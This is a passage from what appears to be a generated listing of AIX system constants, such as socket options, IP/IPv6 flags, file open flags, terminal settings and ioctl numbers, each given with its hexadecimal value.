-+ IFT_ISO88022LLC = 0x29
-+ IFT_ISO88023 = 0x7
-+ IFT_ISO88024 = 0x8
-+ IFT_ISO88025 = 0x9
-+ IFT_ISO88026 = 0xa
-+ IFT_LAPB = 0x10
-+ IFT_LOCALTALK = 0x2a
-+ IFT_LOOP = 0x18
-+ IFT_MIOX25 = 0x26
-+ IFT_MODEM = 0x30
-+ IFT_NSIP = 0x1b
-+ IFT_OTHER = 0x1
-+ IFT_P10 = 0xc
-+ IFT_P80 = 0xd
-+ IFT_PARA = 0x22
-+ IFT_PPP = 0x17
-+ IFT_PROPMUX = 0x36
-+ IFT_PROPVIRTUAL = 0x35
-+ IFT_PTPSERIAL = 0x16
-+ IFT_RS232 = 0x21
-+ IFT_SDLC = 0x11
-+ IFT_SIP = 0x1f
-+ IFT_SLIP = 0x1c
-+ IFT_SMDSDXI = 0x2b
-+ IFT_SMDSICIP = 0x34
-+ IFT_SN = 0x38
-+ IFT_SONET = 0x27
-+ IFT_SONETPATH = 0x32
-+ IFT_SONETVT = 0x33
-+ IFT_SP = 0x39
-+ IFT_STARLAN = 0xb
-+ IFT_T1 = 0x12
-+ IFT_TUNNEL = 0x3b
-+ IFT_ULTRA = 0x1d
-+ IFT_V35 = 0x2d
-+ IFT_VIPA = 0x37
-+ IFT_X25 = 0x5
-+ IFT_X25DDN = 0x4
-+ IFT_X25PLE = 0x28
-+ IFT_XETHER = 0x1a
-+ IGNBRK = 0x1
-+ IGNCR = 0x80
-+ IGNPAR = 0x4
-+ IMAXBEL = 0x10000
-+ INLCR = 0x40
-+ INPCK = 0x10
-+ IN_CLASSA_HOST = 0xffffff
-+ IN_CLASSA_MAX = 0x80
-+ IN_CLASSA_NET = 0xff000000
-+ IN_CLASSA_NSHIFT = 0x18
-+ IN_CLASSB_HOST = 0xffff
-+ IN_CLASSB_MAX = 0x10000
-+ IN_CLASSB_NET = 0xffff0000
-+ IN_CLASSB_NSHIFT = 0x10
-+ IN_CLASSC_HOST = 0xff
-+ IN_CLASSC_NET = 0xffffff00
-+ IN_CLASSC_NSHIFT = 0x8
-+ IN_CLASSD_HOST = 0xfffffff
-+ IN_CLASSD_NET = 0xf0000000
-+ IN_CLASSD_NSHIFT = 0x1c
-+ IN_LOOPBACKNET = 0x7f
-+ IN_USE = 0x1
-+ IPPROTO_AH = 0x33
-+ IPPROTO_BIP = 0x53
-+ IPPROTO_DSTOPTS = 0x3c
-+ IPPROTO_EGP = 0x8
-+ IPPROTO_EON = 0x50
-+ IPPROTO_ESP = 0x32
-+ IPPROTO_FRAGMENT = 0x2c
-+ IPPROTO_GGP = 0x3
-+ IPPROTO_GIF = 0x8c
-+ IPPROTO_GRE = 0x2f
-+ IPPROTO_HOPOPTS = 0x0
-+ IPPROTO_ICMP = 0x1
-+ IPPROTO_ICMPV6 = 0x3a
-+ IPPROTO_IDP = 0x16
-+ IPPROTO_IGMP = 0x2
-+ IPPROTO_IP = 0x0
-+ IPPROTO_IPIP = 0x4
-+ IPPROTO_IPV6 = 0x29
-+ IPPROTO_LOCAL = 0x3f
-+ IPPROTO_MAX = 0x100
-+ IPPROTO_MH = 0x87
-+ IPPROTO_NONE = 0x3b
-+ IPPROTO_PUP = 0xc
-+ IPPROTO_QOS = 0x2d
-+ IPPROTO_RAW = 0xff
-+ IPPROTO_ROUTING = 0x2b
-+ IPPROTO_RSVP = 0x2e
-+ IPPROTO_SCTP = 0x84
-+ IPPROTO_TCP = 0x6
-+ IPPROTO_TP = 0x1d
-+ IPPROTO_UDP = 0x11
-+ IPV6_ADDRFORM = 0x16
-+ IPV6_ADDR_PREFERENCES = 0x4a
-+ IPV6_ADD_MEMBERSHIP = 0xc
-+ IPV6_AIXRAWSOCKET = 0x39
-+ IPV6_CHECKSUM = 0x27
-+ IPV6_DONTFRAG = 0x2d
-+ IPV6_DROP_MEMBERSHIP = 0xd
-+ IPV6_DSTOPTS = 0x36
-+ IPV6_FLOWINFO_FLOWLABEL = 0xffffff
-+ IPV6_FLOWINFO_PRIFLOW = 0xfffffff
-+ IPV6_FLOWINFO_PRIORITY = 0xf000000
-+ IPV6_FLOWINFO_SRFLAG = 0x10000000
-+ IPV6_FLOWINFO_VERSION = 0xf0000000
-+ IPV6_HOPLIMIT = 0x28
-+ IPV6_HOPOPTS = 0x34
-+ IPV6_JOIN_GROUP = 0xc
-+ IPV6_LEAVE_GROUP = 0xd
-+ IPV6_MIPDSTOPTS = 0x36
-+ IPV6_MULTICAST_HOPS = 0xa
-+ IPV6_MULTICAST_IF = 0x9
-+ IPV6_MULTICAST_LOOP = 0xb
-+ IPV6_NEXTHOP = 0x30
-+ IPV6_NOPROBE = 0x1c
-+ IPV6_PATHMTU = 0x2e
-+ IPV6_PKTINFO = 0x21
-+ IPV6_PKTOPTIONS = 0x24
-+ IPV6_PRIORITY_10 = 0xa000000
-+ IPV6_PRIORITY_11 = 0xb000000
-+ IPV6_PRIORITY_12 = 0xc000000
-+ IPV6_PRIORITY_13 = 0xd000000
-+ IPV6_PRIORITY_14 = 0xe000000
-+ IPV6_PRIORITY_15 = 0xf000000
-+ IPV6_PRIORITY_8 = 0x8000000
-+ IPV6_PRIORITY_9 = 0x9000000
-+ IPV6_PRIORITY_BULK = 0x4000000
-+ IPV6_PRIORITY_CONTROL = 0x7000000
-+ IPV6_PRIORITY_FILLER = 0x1000000
-+ IPV6_PRIORITY_INTERACTIVE = 0x6000000
-+ IPV6_PRIORITY_RESERVED1 = 0x3000000
-+ IPV6_PRIORITY_RESERVED2 = 0x5000000
-+ IPV6_PRIORITY_UNATTENDED = 0x2000000
-+ IPV6_PRIORITY_UNCHARACTERIZED = 0x0
-+ IPV6_RECVDSTOPTS = 0x38
-+ IPV6_RECVHOPLIMIT = 0x29
-+ IPV6_RECVHOPOPTS = 0x35
-+ IPV6_RECVHOPS = 0x22
-+ IPV6_RECVIF = 0x1e
-+ IPV6_RECVPATHMTU = 0x2f
-+ IPV6_RECVPKTINFO = 0x23
-+ IPV6_RECVRTHDR = 0x33
-+ IPV6_RECVSRCRT = 0x1d
-+ IPV6_RECVTCLASS = 0x2a
-+ IPV6_RTHDR = 0x32
-+ IPV6_RTHDRDSTOPTS = 0x37
-+ IPV6_RTHDR_TYPE_0 = 0x0
-+ IPV6_RTHDR_TYPE_2 = 0x2
-+ IPV6_SENDIF = 0x1f
-+ IPV6_SRFLAG_LOOSE = 0x0
-+ IPV6_SRFLAG_STRICT = 0x10000000
-+ IPV6_TCLASS = 0x2b
-+ IPV6_TOKEN_LENGTH = 0x40
-+ IPV6_UNICAST_HOPS = 0x4
-+ IPV6_USE_MIN_MTU = 0x2c
-+ IPV6_V6ONLY = 0x25
-+ IPV6_VERSION = 0x60000000
-+ IP_ADDRFORM = 0x16
-+ IP_ADD_MEMBERSHIP = 0xc
-+ IP_ADD_SOURCE_MEMBERSHIP = 0x3c
-+ IP_BLOCK_SOURCE = 0x3a
-+ IP_BROADCAST_IF = 0x10
-+ IP_CACHE_LINE_SIZE = 0x80
-+ IP_DEFAULT_MULTICAST_LOOP = 0x1
-+ IP_DEFAULT_MULTICAST_TTL = 0x1
-+ IP_DF = 0x4000
-+ IP_DHCPMODE = 0x11
-+ IP_DONTFRAG = 0x19
-+ IP_DROP_MEMBERSHIP = 0xd
-+ IP_DROP_SOURCE_MEMBERSHIP = 0x3d
-+ IP_FINDPMTU = 0x1a
-+ IP_HDRINCL = 0x2
-+ IP_INC_MEMBERSHIPS = 0x14
-+ IP_INIT_MEMBERSHIP = 0x14
-+ IP_MAXPACKET = 0xffff
-+ IP_MF = 0x2000
-+ IP_MSS = 0x240
-+ IP_MULTICAST_HOPS = 0xa
-+ IP_MULTICAST_IF = 0x9
-+ IP_MULTICAST_LOOP = 0xb
-+ IP_MULTICAST_TTL = 0xa
-+ IP_OPT = 0x1b
-+ IP_OPTIONS = 0x1
-+ IP_PMTUAGE = 0x1b
-+ IP_RECVDSTADDR = 0x7
-+ IP_RECVIF = 0x14
-+ IP_RECVIFINFO = 0xf
-+ IP_RECVINTERFACE = 0x20
-+ IP_RECVMACHDR = 0xe
-+ IP_RECVOPTS = 0x5
-+ IP_RECVRETOPTS = 0x6
-+ IP_RECVTTL = 0x22
-+ IP_RETOPTS = 0x8
-+ IP_SOURCE_FILTER = 0x48
-+ IP_TOS = 0x3
-+ IP_TTL = 0x4
-+ IP_UNBLOCK_SOURCE = 0x3b
-+ IP_UNICAST_HOPS = 0x4
-+ ISIG = 0x1
-+ ISTRIP = 0x20
-+ IUCLC = 0x800
-+ IXANY = 0x1000
-+ IXOFF = 0x400
-+ IXON = 0x200
-+ I_FLUSH = 0x20005305
-+ LNOFLSH = 0x8000
-+ LOCK_EX = 0x2
-+ LOCK_NB = 0x4
-+ LOCK_SH = 0x1
-+ LOCK_UN = 0x8
-+ MADV_DONTNEED = 0x4
-+ MADV_NORMAL = 0x0
-+ MADV_RANDOM = 0x1
-+ MADV_SEQUENTIAL = 0x2
-+ MADV_SPACEAVAIL = 0x5
-+ MADV_WILLNEED = 0x3
-+ MAP_ANON = 0x10
-+ MAP_ANONYMOUS = 0x10
-+ MAP_FILE = 0x0
-+ MAP_FIXED = 0x100
-+ MAP_PRIVATE = 0x2
-+ MAP_SHARED = 0x1
-+ MAP_TYPE = 0xf0
-+ MAP_VARIABLE = 0x0
-+ MCAST_BLOCK_SOURCE = 0x40
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x3e
-+ MCAST_JOIN_SOURCE_GROUP = 0x42
-+ MCAST_LEAVE_GROUP = 0x3f
-+ MCAST_LEAVE_SOURCE_GROUP = 0x43
-+ MCAST_SOURCE_FILTER = 0x49
-+ MCAST_UNBLOCK_SOURCE = 0x41
-+ MCL_CURRENT = 0x100
-+ MCL_FUTURE = 0x200
-+ MSG_ANY = 0x4
-+ MSG_ARGEXT = 0x400
-+ MSG_BAND = 0x2
-+ MSG_COMPAT = 0x8000
-+ MSG_CTRUNC = 0x20
-+ MSG_DONTROUTE = 0x4
-+ MSG_EOR = 0x8
-+ MSG_HIPRI = 0x1
-+ MSG_MAXIOVLEN = 0x10
-+ MSG_MPEG2 = 0x80
-+ MSG_NONBLOCK = 0x4000
-+ MSG_NOSIGNAL = 0x100
-+ MSG_OOB = 0x1
-+ MSG_PEEK = 0x2
-+ MSG_TRUNC = 0x10
-+ MSG_WAITALL = 0x40
-+ MSG_WAITFORONE = 0x200
-+ MS_ASYNC = 0x10
-+ MS_EINTR = 0x80
-+ MS_INVALIDATE = 0x40
-+ MS_PER_SEC = 0x3e8
-+ MS_SYNC = 0x20
-+ NFDBITS = 0x40
-+ NL0 = 0x0
-+ NL1 = 0x4000
-+ NL2 = 0x8000
-+ NL3 = 0xc000
-+ NLDLY = 0x4000
-+ NOFLSH = 0x80
-+ NOFLUSH = 0x80000000
-+ OCRNL = 0x8
-+ OFDEL = 0x80
-+ OFILL = 0x40
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ ONLRET = 0x20
-+ ONOCR = 0x10
-+ ONOEOT = 0x80000
-+ OPOST = 0x1
-+ OXTABS = 0x40000
-+ O_ACCMODE = 0x23
-+ O_APPEND = 0x8
-+ O_CIO = 0x80
-+ O_CIOR = 0x800000000
-+ O_CLOEXEC = 0x800000
-+ O_CREAT = 0x100
-+ O_DEFER = 0x2000
-+ O_DELAY = 0x4000
-+ O_DIRECT = 0x8000000
-+ O_DIRECTORY = 0x80000
-+ O_DSYNC = 0x400000
-+ O_EFSOFF = 0x400000000
-+ O_EFSON = 0x200000000
-+ O_EXCL = 0x400
-+ O_EXEC = 0x20
-+ O_LARGEFILE = 0x4000000
-+ O_NDELAY = 0x8000
-+ O_NOCACHE = 0x100000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x1000000
-+ O_NONBLOCK = 0x4
-+ O_NONE = 0x3
-+ O_NSHARE = 0x10000
-+ O_RAW = 0x100000000
-+ O_RDONLY = 0x0
-+ O_RDWR = 0x2
-+ O_RSHARE = 0x1000
-+ O_RSYNC = 0x200000
-+ O_SEARCH = 0x20
-+ O_SNAPSHOT = 0x40
-+ O_SYNC = 0x10
-+ O_TRUNC = 0x200
-+ O_TTY_INIT = 0x0
-+ O_WRONLY = 0x1
-+ PARENB = 0x100
-+ PAREXT = 0x100000
-+ PARMRK = 0x8
-+ PARODD = 0x200
-+ PENDIN = 0x20000000
-+ PRIO_PGRP = 0x1
-+ PRIO_PROCESS = 0x0
-+ PRIO_USER = 0x2
-+ PROT_EXEC = 0x4
-+ PROT_NONE = 0x0
-+ PROT_READ = 0x1
-+ PROT_WRITE = 0x2
-+ PR_64BIT = 0x20
-+ PR_ADDR = 0x2
-+ PR_ARGEXT = 0x400
-+ PR_ATOMIC = 0x1
-+ PR_CONNREQUIRED = 0x4
-+ PR_FASTHZ = 0x5
-+ PR_INP = 0x40
-+ PR_INTRLEVEL = 0x8000
-+ PR_MLS = 0x100
-+ PR_MLS_1_LABEL = 0x200
-+ PR_NOEOR = 0x4000
-+ PR_RIGHTS = 0x10
-+ PR_SLOWHZ = 0x2
-+ PR_WANTRCVD = 0x8
-+ RLIMIT_AS = 0x6
-+ RLIMIT_CORE = 0x4
-+ RLIMIT_CPU = 0x0
-+ RLIMIT_DATA = 0x2
-+ RLIMIT_FSIZE = 0x1
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x9
-+ RLIMIT_RSS = 0x5
-+ RLIMIT_STACK = 0x3
-+ RLIM_INFINITY = 0x7fffffffffffffff
-+ RTAX_AUTHOR = 0x6
-+ RTAX_BRD = 0x7
-+ RTAX_DST = 0x0
-+ RTAX_GATEWAY = 0x1
-+ RTAX_GENMASK = 0x3
-+ RTAX_IFA = 0x5
-+ RTAX_IFP = 0x4
-+ RTAX_MAX = 0x8
-+ RTAX_NETMASK = 0x2
-+ RTA_AUTHOR = 0x40
-+ RTA_BRD = 0x80
-+ RTA_DOWNSTREAM = 0x100
-+ RTA_DST = 0x1
-+ RTA_GATEWAY = 0x2
-+ RTA_GENMASK = 0x8
-+ RTA_IFA = 0x20
-+ RTA_IFP = 0x10
-+ RTA_NETMASK = 0x4
-+ RTC_IA64 = 0x3
-+ RTC_POWER = 0x1
-+ RTC_POWER_PC = 0x2
-+ RTF_ACTIVE_DGD = 0x1000000
-+ RTF_BCE = 0x80000
-+ RTF_BLACKHOLE = 0x1000
-+ RTF_BROADCAST = 0x400000
-+ RTF_BUL = 0x2000
-+ RTF_CLONE = 0x10000
-+ RTF_CLONED = 0x20000
-+ RTF_CLONING = 0x100
-+ RTF_DONE = 0x40
-+ RTF_DYNAMIC = 0x10
-+ RTF_FREE_IN_PROG = 0x4000000
-+ RTF_GATEWAY = 0x2
-+ RTF_HOST = 0x4
-+ RTF_LLINFO = 0x400
-+ RTF_LOCAL = 0x200000
-+ RTF_MASK = 0x80
-+ RTF_MODIFIED = 0x20
-+ RTF_MULTICAST = 0x800000
-+ RTF_PERMANENT6 = 0x8000000
-+ RTF_PINNED = 0x100000
-+ RTF_PROTO1 = 0x8000
-+ RTF_PROTO2 = 0x4000
-+ RTF_PROTO3 = 0x40000
-+ RTF_REJECT = 0x8
-+ RTF_SMALLMTU = 0x40000
-+ RTF_STATIC = 0x800
-+ RTF_STOPSRCH = 0x2000000
-+ RTF_UNREACHABLE = 0x10000000
-+ RTF_UP = 0x1
-+ RTF_XRESOLVE = 0x200
-+ RTM_ADD = 0x1
-+ RTM_CHANGE = 0x3
-+ RTM_DELADDR = 0xd
-+ RTM_DELETE = 0x2
-+ RTM_EXPIRE = 0xf
-+ RTM_GET = 0x4
-+ RTM_GETNEXT = 0x11
-+ RTM_IFINFO = 0xe
-+ RTM_LOCK = 0x8
-+ RTM_LOSING = 0x5
-+ RTM_MISS = 0x7
-+ RTM_NEWADDR = 0xc
-+ RTM_OLDADD = 0x9
-+ RTM_OLDDEL = 0xa
-+ RTM_REDIRECT = 0x6
-+ RTM_RESOLVE = 0xb
-+ RTM_RTLOST = 0x10
-+ RTM_RTTUNIT = 0xf4240
-+ RTM_SAMEADDR = 0x12
-+ RTM_SET = 0x13
-+ RTM_VERSION = 0x2
-+ RTM_VERSION_GR = 0x4
-+ RTM_VERSION_GR_COMPAT = 0x3
-+ RTM_VERSION_POLICY = 0x5
-+ RTM_VERSION_POLICY_EXT = 0x6
-+ RTM_VERSION_POLICY_PRFN = 0x7
-+ RTV_EXPIRE = 0x4
-+ RTV_HOPCOUNT = 0x2
-+ RTV_MTU = 0x1
-+ RTV_RPIPE = 0x8
-+ RTV_RTT = 0x40
-+ RTV_RTTVAR = 0x80
-+ RTV_SPIPE = 0x10
-+ RTV_SSTHRESH = 0x20
-+ RUSAGE_CHILDREN = -0x1
-+ RUSAGE_SELF = 0x0
-+ RUSAGE_THREAD = 0x1
-+ SCM_RIGHTS = 0x1
-+ SHUT_RD = 0x0
-+ SHUT_RDWR = 0x2
-+ SHUT_WR = 0x1
-+ SIGMAX64 = 0xff
-+ SIGQUEUE_MAX = 0x20
-+ SIOCADDIFVIPA = 0x20006942
-+ SIOCADDMTU = -0x7ffb9690
-+ SIOCADDMULTI = -0x7fdf96cf
-+ SIOCADDNETID = -0x7fd796a9
-+ SIOCADDRT = -0x7fc78df6
-+ SIOCAIFADDR = -0x7fbf96e6
-+ SIOCATMARK = 0x40047307
-+ SIOCDARP = -0x7fb396e0
-+ SIOCDELIFVIPA = 0x20006943
-+ SIOCDELMTU = -0x7ffb968f
-+ SIOCDELMULTI = -0x7fdf96ce
-+ SIOCDELPMTU = -0x7fd78ff6
-+ SIOCDELRT = -0x7fc78df5
-+ SIOCDIFADDR = -0x7fd796e7
-+ SIOCDNETOPT = -0x3ffe9680
-+ SIOCDX25XLATE = -0x7fd7969b
-+ SIOCFIFADDR = -0x7fdf966d
-+ SIOCGARP = -0x3fb396da
-+ SIOCGETMTUS = 0x2000696f
-+ SIOCGETSGCNT = -0x3feb8acc
-+ SIOCGETVIFCNT = -0x3feb8acd
-+ SIOCGHIWAT = 0x40047301
-+ SIOCGIFADDR = -0x3fd796df
-+ SIOCGIFADDRS = 0x2000698c
-+ SIOCGIFBAUDRATE = -0x3fdf9669
-+ SIOCGIFBRDADDR = -0x3fd796dd
-+ SIOCGIFCONF = -0x3fef96bb
-+ SIOCGIFCONFGLOB = -0x3fef9670
-+ SIOCGIFDSTADDR = -0x3fd796de
-+ SIOCGIFFLAGS = -0x3fd796ef
-+ SIOCGIFGIDLIST = 0x20006968
-+ SIOCGIFHWADDR = -0x3fab966b
-+ SIOCGIFMETRIC = -0x3fd796e9
-+ SIOCGIFMTU = -0x3fd796aa
-+ SIOCGIFNETMASK = -0x3fd796db
-+ SIOCGIFOPTIONS = -0x3fd796d6
-+ SIOCGISNO = -0x3fd79695
-+ SIOCGLOADF = -0x3ffb967e
-+ SIOCGLOWAT = 0x40047303
-+ SIOCGNETOPT = -0x3ffe96a5
-+ SIOCGNETOPT1 = -0x3fdf967f
-+ SIOCGNMTUS = 0x2000696e
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSIZIFCONF = 0x4004696a
-+ SIOCGSRCFILTER = -0x3fe796cb
-+ SIOCGTUNEPHASE = -0x3ffb9676
-+ SIOCGX25XLATE = -0x3fd7969c
-+ SIOCIFATTACH = -0x7fdf9699
-+ SIOCIFDETACH = -0x7fdf969a
-+ SIOCIFGETPKEY = -0x7fdf969b
-+ SIOCIF_ATM_DARP = -0x7fdf9683
-+ SIOCIF_ATM_DUMPARP = -0x7fdf9685
-+ SIOCIF_ATM_GARP = -0x7fdf9682
-+ SIOCIF_ATM_IDLE = -0x7fdf9686
-+ SIOCIF_ATM_SARP = -0x7fdf9681
-+ SIOCIF_ATM_SNMPARP = -0x7fdf9687
-+ SIOCIF_ATM_SVC = -0x7fdf9684
-+ SIOCIF_ATM_UBR = -0x7fdf9688
-+ SIOCIF_DEVHEALTH = -0x7ffb966c
-+ SIOCIF_IB_ARP_INCOMP = -0x7fdf9677
-+ SIOCIF_IB_ARP_TIMER = -0x7fdf9678
-+ SIOCIF_IB_CLEAR_PINFO = -0x3fdf966f
-+ SIOCIF_IB_DEL_ARP = -0x7fdf967f
-+ SIOCIF_IB_DEL_PINFO = -0x3fdf9670
-+ SIOCIF_IB_DUMP_ARP = -0x7fdf9680
-+ SIOCIF_IB_GET_ARP = -0x7fdf967e
-+ SIOCIF_IB_GET_INFO = -0x3f879675
-+ SIOCIF_IB_GET_STATS = -0x3f879672
-+ SIOCIF_IB_NOTIFY_ADDR_REM = -0x3f87966a
-+ SIOCIF_IB_RESET_STATS = -0x3f879671
-+ SIOCIF_IB_RESIZE_CQ = -0x7fdf9679
-+ SIOCIF_IB_SET_ARP = -0x7fdf967d
-+ SIOCIF_IB_SET_PKEY = -0x7fdf967c
-+ SIOCIF_IB_SET_PORT = -0x7fdf967b
-+ SIOCIF_IB_SET_QKEY = -0x7fdf9676
-+ SIOCIF_IB_SET_QSIZE = -0x7fdf967a
-+ SIOCLISTIFVIPA = 0x20006944
-+ SIOCSARP = -0x7fb396e2
-+ SIOCSHIWAT = 0xffffffff80047300
-+ SIOCSIFADDR = -0x7fd796f4
-+ SIOCSIFADDRORI = -0x7fdb9673
-+ SIOCSIFBRDADDR = -0x7fd796ed
-+ SIOCSIFDSTADDR = -0x7fd796f2
-+ SIOCSIFFLAGS = -0x7fd796f0
-+ SIOCSIFGIDLIST = 0x20006969
-+ SIOCSIFMETRIC = -0x7fd796e8
-+ SIOCSIFMTU = -0x7fd796a8
-+ SIOCSIFNETDUMP = -0x7fd796e4
-+ SIOCSIFNETMASK = -0x7fd796ea
-+ SIOCSIFOPTIONS = -0x7fd796d7
-+ SIOCSIFSUBCHAN = -0x7fd796e5
-+ SIOCSISNO = -0x7fd79694
-+ SIOCSLOADF = -0x3ffb967d
-+ SIOCSLOWAT = 0xffffffff80047302
-+ SIOCSNETOPT = -0x7ffe96a6
-+ SIOCSPGRP = 0xffffffff80047308
-+ SIOCSX25XLATE = -0x7fd7969d
-+ SOCK_CONN_DGRAM = 0x6
-+ SOCK_DGRAM = 0x2
-+ SOCK_RAW = 0x3
-+ SOCK_RDM = 0x4
-+ SOCK_SEQPACKET = 0x5
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0xffff
-+ SOMAXCONN = 0x400
-+ SO_ACCEPTCONN = 0x2
-+ SO_AUDIT = 0x8000
-+ SO_BROADCAST = 0x20
-+ SO_CKSUMRECV = 0x800
-+ SO_DEBUG = 0x1
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_KEEPALIVE = 0x8
-+ SO_KERNACCEPT = 0x2000
-+ SO_LINGER = 0x80
-+ SO_NOMULTIPATH = 0x4000
-+ SO_NOREUSEADDR = 0x1000
-+ SO_OOBINLINE = 0x100
-+ SO_PEERID = 0x1009
-+ SO_RCVBUF = 0x1002
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_SNDBUF = 0x1001
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_TIMESTAMPNS = 0x100a
-+ SO_TYPE = 0x1008
-+ SO_USELOOPBACK = 0x40
-+ SO_USE_IFBUFS = 0x400
-+ S_BANDURG = 0x400
-+ S_EMODFMT = 0x3c000000
-+ S_ENFMT = 0x400
-+ S_ERROR = 0x100
-+ S_HANGUP = 0x200
-+ S_HIPRI = 0x2
-+ S_ICRYPTO = 0x80000
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFJOURNAL = 0x10000
-+ S_IFLNK = 0xa000
-+ S_IFMPX = 0x2200
-+ S_IFMT = 0xf000
-+ S_IFPDIR = 0x4000000
-+ S_IFPSDIR = 0x8000000
-+ S_IFPSSDIR = 0xc000000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFSYSEA = 0x30000000
-+ S_INPUT = 0x1
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_ITCB = 0x1000000
-+ S_ITP = 0x800000
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXACL = 0x2000000
-+ S_IXATTR = 0x40000
-+ S_IXGRP = 0x8
-+ S_IXINTERFACE = 0x100000
-+ S_IXMOD = 0x40000000
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
-+ S_MSG = 0x8
-+ S_OUTPUT = 0x4
-+ S_RDBAND = 0x20
-+ S_RDNORM = 0x10
-+ S_RESERVED1 = 0x20000
-+ S_RESERVED2 = 0x200000
-+ S_RESERVED3 = 0x400000
-+ S_RESERVED4 = 0x80000000
-+ S_RESFMT1 = 0x10000000
-+ S_RESFMT10 = 0x34000000
-+ S_RESFMT11 = 0x38000000
-+ S_RESFMT12 = 0x3c000000
-+ S_RESFMT2 = 0x14000000
-+ S_RESFMT3 = 0x18000000
-+ S_RESFMT4 = 0x1c000000
-+ S_RESFMT5 = 0x20000000
-+ S_RESFMT6 = 0x24000000
-+ S_RESFMT7 = 0x28000000
-+ S_RESFMT8 = 0x2c000000
-+ S_WRBAND = 0x80
-+ S_WRNORM = 0x40
-+ TAB0 = 0x0
-+ TAB1 = 0x400
-+ TAB2 = 0x800
-+ TAB3 = 0xc00
-+ TABDLY = 0xc00
-+ TCFLSH = 0x540c
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCIFLUSH = 0x0
-+ TCIOFF = 0x2
-+ TCIOFLUSH = 0x2
-+ TCION = 0x3
-+ TCOFLUSH = 0x1
-+ TCOOFF = 0x0
-+ TCOON = 0x1
-+ TCP_24DAYS_WORTH_OF_SLOWTICKS = 0x3f4800
-+ TCP_ACLADD = 0x23
-+ TCP_ACLBIND = 0x26
-+ TCP_ACLCLEAR = 0x22
-+ TCP_ACLDEL = 0x24
-+ TCP_ACLDENY = 0x8
-+ TCP_ACLFLUSH = 0x21
-+ TCP_ACLGID = 0x1
-+ TCP_ACLLS = 0x25
-+ TCP_ACLSUBNET = 0x4
-+ TCP_ACLUID = 0x2
-+ TCP_CWND_DF = 0x16
-+ TCP_CWND_IF = 0x15
-+ TCP_DELAY_ACK_FIN = 0x2
-+ TCP_DELAY_ACK_SYN = 0x1
-+ TCP_FASTNAME = 0x101080a
-+ TCP_KEEPCNT = 0x13
-+ TCP_KEEPIDLE = 0x11
-+ TCP_KEEPINTVL = 0x12
-+ TCP_LSPRIV = 0x29
-+ TCP_LUID = 0x20
-+ TCP_MAXBURST = 0x8
-+ TCP_MAXDF = 0x64
-+ TCP_MAXIF = 0x64
-+ TCP_MAXSEG = 0x2
-+ TCP_MAXWIN = 0xffff
-+ TCP_MAXWINDOWSCALE = 0xe
-+ TCP_MAX_SACK = 0x4
-+ TCP_MSS = 0x5b4
-+ TCP_NODELAY = 0x1
-+ TCP_NODELAYACK = 0x14
-+ TCP_NOREDUCE_CWND_EXIT_FRXMT = 0x19
-+ TCP_NOREDUCE_CWND_IN_FRXMT = 0x18
-+ TCP_NOTENTER_SSTART = 0x17
-+ TCP_OPT = 0x19
-+ TCP_RFC1323 = 0x4
-+ TCP_SETPRIV = 0x27
-+ TCP_STDURG = 0x10
-+ TCP_TIMESTAMP_OPTLEN = 0xc
-+ TCP_UNSETPRIV = 0x28
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETSF = 0x5404
-+ TCSETSW = 0x5403
-+ TCXONC = 0x540b
-+ TIMER_ABSTIME = 0x3e7
-+ TIMER_MAX = 0x20
-+ TIOC = 0x5400
-+ TIOCCBRK = 0x2000747a
-+ TIOCCDTR = 0x20007478
-+ TIOCCONS = 0xffffffff80047462
-+ TIOCEXCL = 0x2000740d
-+ TIOCFLUSH = 0xffffffff80047410
-+ TIOCGETC = 0x40067412
-+ TIOCGETD = 0x40047400
-+ TIOCGETP = 0x40067408
-+ TIOCGLTC = 0x40067474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGSID = 0x40047448
-+ TIOCGSIZE = 0x40087468
-+ TIOCGWINSZ = 0x40087468
-+ TIOCHPCL = 0x20007402
-+ TIOCLBIC = 0xffffffff8004747e
-+ TIOCLBIS = 0xffffffff8004747f
-+ TIOCLGET = 0x4004747c
-+ TIOCLSET = 0xffffffff8004747d
-+ TIOCMBIC = 0xffffffff8004746b
-+ TIOCMBIS = 0xffffffff8004746c
-+ TIOCMGET = 0x4004746a
-+ TIOCMIWAIT = 0xffffffff80047464
-+ TIOCMODG = 0x40047403
-+ TIOCMODS = 0xffffffff80047404
-+ TIOCMSET = 0xffffffff8004746d
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_DTR = 0x2
-+ TIOCM_LE = 0x1
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_RTS = 0x4
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x20007471
-+ TIOCNXCL = 0x2000740e
-+ TIOCOUTQ = 0x40047473
